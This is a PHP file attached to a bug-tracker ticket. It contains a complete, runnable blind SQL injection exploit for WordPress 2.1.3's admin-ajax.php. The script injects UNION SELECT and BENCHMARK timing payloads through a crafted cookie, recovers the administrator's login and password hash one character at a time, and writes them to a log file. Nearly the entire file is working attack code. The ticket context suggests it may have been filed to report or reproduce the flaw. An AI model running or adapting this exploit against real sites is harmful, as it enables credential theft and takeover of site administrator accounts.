Ticket #4322: test.php

File test.php, 11.3 kB (added by DrHallows, 1 year ago)
Line 
1 <?php
2 error_reporting(E_ALL);
3 $norm_delay = 0;
4 ///////////////////////////////////////////////////////////////////////
5 ///////////////////////////////////////////////////////////////////////
6 // WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit
7 // written by Janek Vind "waraxe"
8 // http://www.waraxe.us/
9 // original version released - 21. may 2007
10 // added login retrieving - 23. may 2007
11 ///////////////////////////////////////////////////////////////////////
12 ///////////////////////////////////////////////////////////////////////
13 //=====================================================================
14 $outfile = './warlog.txt';// Log file
15 $url = 'http://www.xxx.com/wp-admin/admin-ajax.php';
16 $testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000
17 $id = 1;// ID of the target user, default value "1" is admin's ID
18 $suffix = '';// Override value, if needed
19 $prefix = 'wp_';// WordPress table prefix, default is "wp_"
20 $get_hash = true;// md5 hash retrieving - true or false
21 $get_login = true;// user login retrieving - true or false
22 //======================================================================
23
24 echo "\n\nWordPress 2.1.3 blind sql injection exploit by waraxe \n\n";
25 echo "Target: $url\n";
26 echo "sql table prefix: $prefix\n";
27
28 if(empty($suffix))
29 {
30    $suffix = md5(substr($url, 0, strlen($url) - 24));
31 }
32
33 echo "cookie suffix: $suffix\n";
34
35 echo "testing probe delays \n";
36
37 $norm_delay = get_normdelay($testcnt);
38 echo "normal delay: $norm_delay deciseconds\n";
39
40 if($get_hash)
41 {
42    echo "trying to get md5 hash from target \n";
43    $hash = get_hash();
44 }
45
46 if($get_login)
47 {
48    echo "trying to get user login from target \n";
49    $login = get_login();
50 }
51
52 add_line("Target: $url");
53 add_line("User ID: $id");
54 if($get_login)
55 {
56    add_line("Login: $login");
57 }
58 if($get_hash)
59 {
60    add_line("Hash: $hash");
61 }
62
63 echo "\nWork finished\n";
64 echo "Questions and feedback - http://www.waraxe.us/ \n";
65 die("See ya! :) \n");
66 ///////////////////////////////////////////////////////////////////////
67 ///////////////////////////////////////////////////////////////////////
68 function get_login()
69 {
70    $field = 'user_login';
71    $out = '';
72   
73    echo "first we need user login length ... \n";
74    $len = get_length($field, 60);
75    echo "user login length is $len chars\n";
76    echo "finding user login now ...\n";
77   
78    for($i = 1; $i < $len + 1; $i ++)
79    {
80       $ch = get_anychar($field,$i);
81       echo "got $field pos $i --> $ch\n";
82       $out .= "$ch";
83       echo "current value for $field: $out \n";
84    }
85   
86    echo "\nFinal result: $field=$out\n\n";
87
88    return $out;
89 }
90 ///////////////////////////////////////////////////////////////////////
91 function get_length($field, $maxlen = 60)
92 {
93    global $prefix, $suffix, $id, $testcnt;
94    $len = 0;
95    $cnt = $testcnt * 4;
96    $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
97    $ipattern = " UNION ALL SELECT 1,2,$field,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH($field)%s,BENCHMARK($cnt,MD5(1337)),3)/*";
98   
99    $min = 0;
100    $max = $maxlen;
101    echo "starting $field length retrieve\n";
102
103    $curr = 0;
104   
105    while(1)
106    {
107       $area = $max - $min;
108       if($area < 2 )
109       {
110          $inj = sprintf($ipattern, $prefix, $id, "=$max");
111          $post = sprintf($ppattern, $suffix, $inj, $suffix);
112          $eq = test_condition($post);
113         
114          if($eq)
115          {
116             $len = $max;
117          }
118          else
119          {
120             $len = $min;
121          }
122         
123          break;
124       }
125       
126       $half = intval(floor($area / 2));
127       $curr = $min + $half;
128       
129       $inj = sprintf($ipattern, $prefix, $id, ">$curr");
130       $post = sprintf($ppattern, $suffix, $inj, $suffix);
131       
132       $bigger = test_condition($post);
133       
134       if($bigger)
135       {
136          $min = $curr;
137       }
138       else
139       {
140          $max = $curr;
141       }
142
143       echo "curr: $curr--$max--$min\n";
144    }
145   
146    return $len;
147   
148 }
149 ///////////////////////////////////////////////////////////////////////
150 function get_hash()
151 {
152    $len = 32;
153    $field = 'user_pass';
154    $out = '';
155   
156    echo "finding hash now ...\n";
157   
158    for($i = 1; $i < $len + 1; $i ++)
159    {
160       $ch = get_hashchar($field,$i);
161       echo "got $field pos $i --> $ch\n";
162       $out .= "$ch";
163       echo "current value for $field: $out \n";
164    }
165   
166    echo "\nFinal result: $field=$out\n\n";
167   
168    return $out;
169 }
170 ///////////////////////////////////////////////////////////////////////
171 function get_anychar($field,$pos)
172 {
173    global $prefix, $suffix, $id, $testcnt;
174    $char = '';
175    $cnt = $testcnt * 4;
176    $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
177    $ipattern = " UNION ALL SELECT 1,2,$field,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";
178
179    $min = 32;
180    $max = 255;
181    $curr = 0;
182   
183    while(1)
184    {
185       $area = $max - $min;
186       if($area < 2 )
187       {
188          $inj = sprintf($ipattern, $prefix, $id, "=$max");
189          $post = sprintf($ppattern, $suffix, $inj, $suffix);
190          $eq = test_condition($post);
191         
192          if($eq)
193          {
194             $char = chr($max);
195          }
196          else
197          {
198             $char = chr($min);
199          }
200         
201          break;
202       }
203       
204       $half = intval(floor($area / 2));
205       $curr = $min + $half;
206       
207       $inj = sprintf($ipattern, $prefix, $id, ">$curr");
208       $post = sprintf($ppattern, $suffix, $inj, $suffix);
209       
210       $bigger = test_condition($post);
211       
212       if($bigger)
213       {
214          $min = $curr;
215       }
216       else
217       {
218          $max = $curr;
219       }
220
221       echo "curr: $curr--$max--$min\n";
222    }
223   
224    return $char;
225 }
226 ///////////////////////////////////////////////////////////////////////
227 function get_hashchar($field,$pos)
228 {
229    global $prefix, $suffix, $id, $testcnt;
230    $char = '';
231    $cnt = $testcnt * 4;
232    $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
233    $ipattern = " UNION ALL SELECT 1,2,$field,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";
234
235    // First let's determine, if it's number or letter
236    $inj = sprintf($ipattern, $prefix, $id, ">57");
237    $post = sprintf($ppattern, $suffix, $inj, $suffix);
238    $letter = test_condition($post);
239   
240    if($letter)
241    {
242       $min = 97;
243       $max = 102;
244       echo "char to find is [a-f]\n";
245    }
246    else
247    {
248       $min = 48;
249       $max = 57;
250       echo "char to find is [0-9]\n";
251    }
252
253    $curr = 0;
254   
255    while(1)
256    {
257       $area = $max - $min;
258       if($area < 2 )
259       {
260          $inj = sprintf($ipattern, $prefix, $id, "=$max");
261          $post = sprintf($ppattern, $suffix, $inj, $suffix);
262          $eq = test_condition($post);
263         
264          if($eq)
265          {
266             $char = chr($max);
267          }
268          else
269          {
270             $char = chr($min);
271          }
272         
273          break;
274       }
275       
276       $half = intval(floor($area / 2));
277       $curr = $min + $half;
278       
279       $inj = sprintf($ipattern, $prefix, $id, ">$curr");
280       $post = sprintf($ppattern, $suffix, $inj, $suffix);
281       
282       $bigger = test_condition($post);
283       
284       if($bigger)
285       {
286          $min = $curr;
287       }
288       else
289       {
290          $max = $curr;
291       }
292
293       echo "curr: $curr--$max--$min\n";
294    }
295   
296    return $char;
297 }
298 ///////////////////////////////////////////////////////////////////////
299 function test_condition($p)
300 {
301    global $url, $norm_delay;
302    $bret = false;
303    $maxtry = 10;
304    $try = 1;
305   
306    while(1)
307    {
308       $start = getmicrotime();
309       $buff = make_post($url, $p);
310       $end = getmicrotime();
311   
312       if($buff === '-1')
313       {
314          break;
315       }
316       else
317       {
318          echo "test_condition() - try $try - invalid return value ...\n";
319          $try ++;
320          if($try > $maxtry)
321          {
322             die("too many tries - exiting ...\n");
323          }
324          else
325          {
326             echo "trying again - try $try ...\n";
327          }
328       }
329    }
330   
331    $diff = $end - $start;
332    $delay = intval($diff * 10);
333   
334    if($delay > ($norm_delay * 2))
335    {
336       $bret = true;
337    }
338   
339    return $bret;
340 }
341 ///////////////////////////////////////////////////////////////////////
342 function get_normdelay($testcnt)
343 {
344    $fa = test_md5delay(1);
345    echo "$fa\n";
346    $sa = test_md5delay($testcnt);
347    echo "$sa\n";
348    $fb = test_md5delay(1);
349    echo "$fb\n";
350    $sb = test_md5delay($testcnt);
351    echo "$sb\n";
352    $fc = test_md5delay(1);
353    echo "$fc\n";
354    $sc = test_md5delay($testcnt);
355    echo "$sc\n";
356   
357    $mean_nondelayed = intval(($fa + $fb + $fc) / 3);
358    echo "mean nondelayed - $mean_nondelayed dsecs\n";
359    $mean_delayed = intval(($sa + $sb + $sc) / 3);
360    echo "mean delayed - $mean_delayed dsecs\n";
361   
362    return $mean_delayed;
363 }
364 ///////////////////////////////////////////////////////////////////////
365 function test_md5delay($cnt)
366 {
367    global $url, $id, $prefix, $suffix;
368   
369    // delay in deciseconds
370    $delay = -1;
371    $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
372    $ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';
373    $inj = sprintf($ipattern, $prefix, $id, $cnt);
374    $post = sprintf($ppattern, $suffix, $inj, $suffix);
375
376    $start = getmicrotime();
377    $buff = make_post($url, $post);
378    $end = getmicrotime();
379   
380    if(intval($buff) !== -1)
381    {
382       die("test_md5delay($cnt) - invalid return value, exiting ...");
383    }
384
385    $diff = $end - $start;
386    $delay = intval($diff * 10);
387
388    return $delay;
389 }
390 ///////////////////////////////////////////////////////////////////////
391 function getmicrotime()
392 {
393     list($usec, $sec) = explode(" ", microtime());
394     return ((float)$usec + (float)$sec);
395 }
396 ///////////////////////////////////////////////////////////////////////
397 function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
398 {
399    $ch = curl_init();
400    $timeout = 120;
401    curl_setopt ($ch, CURLOPT_URL, $url);
402    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
403    curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
404    curl_setopt($ch, CURLOPT_POST, 1);
405    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
406    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
407    curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
408   
409    if(!empty($cookie))
410    {
411       curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
412    }
413  
414    if(!empty($referer))
415    {
416       curl_setopt ($ch, CURLOPT_REFERER, $referer);
417    }
418
419    if($headers === TRUE)
420    {
421       curl_setopt ($ch, CURLOPT_HEADER, TRUE);
422    }
423    else
424    {
425       curl_setopt ($ch, CURLOPT_HEADER, FALSE);
426    }
427
428    $fc = curl_exec($ch);
429    curl_close($ch);
430   
431    return $fc;
432 }
433 ///////////////////////////////////////////////////////////////////////
434 function add_line($buf)
435 {
436    global $outfile;
437   
438    $buf .= "\n";
439    $fh = fopen($outfile, 'ab');
440    fwrite($fh, $buf);
441    fclose($fh);
442   
443 }
444 ///////////////////////////////////////////////////////////////////////
445 ?>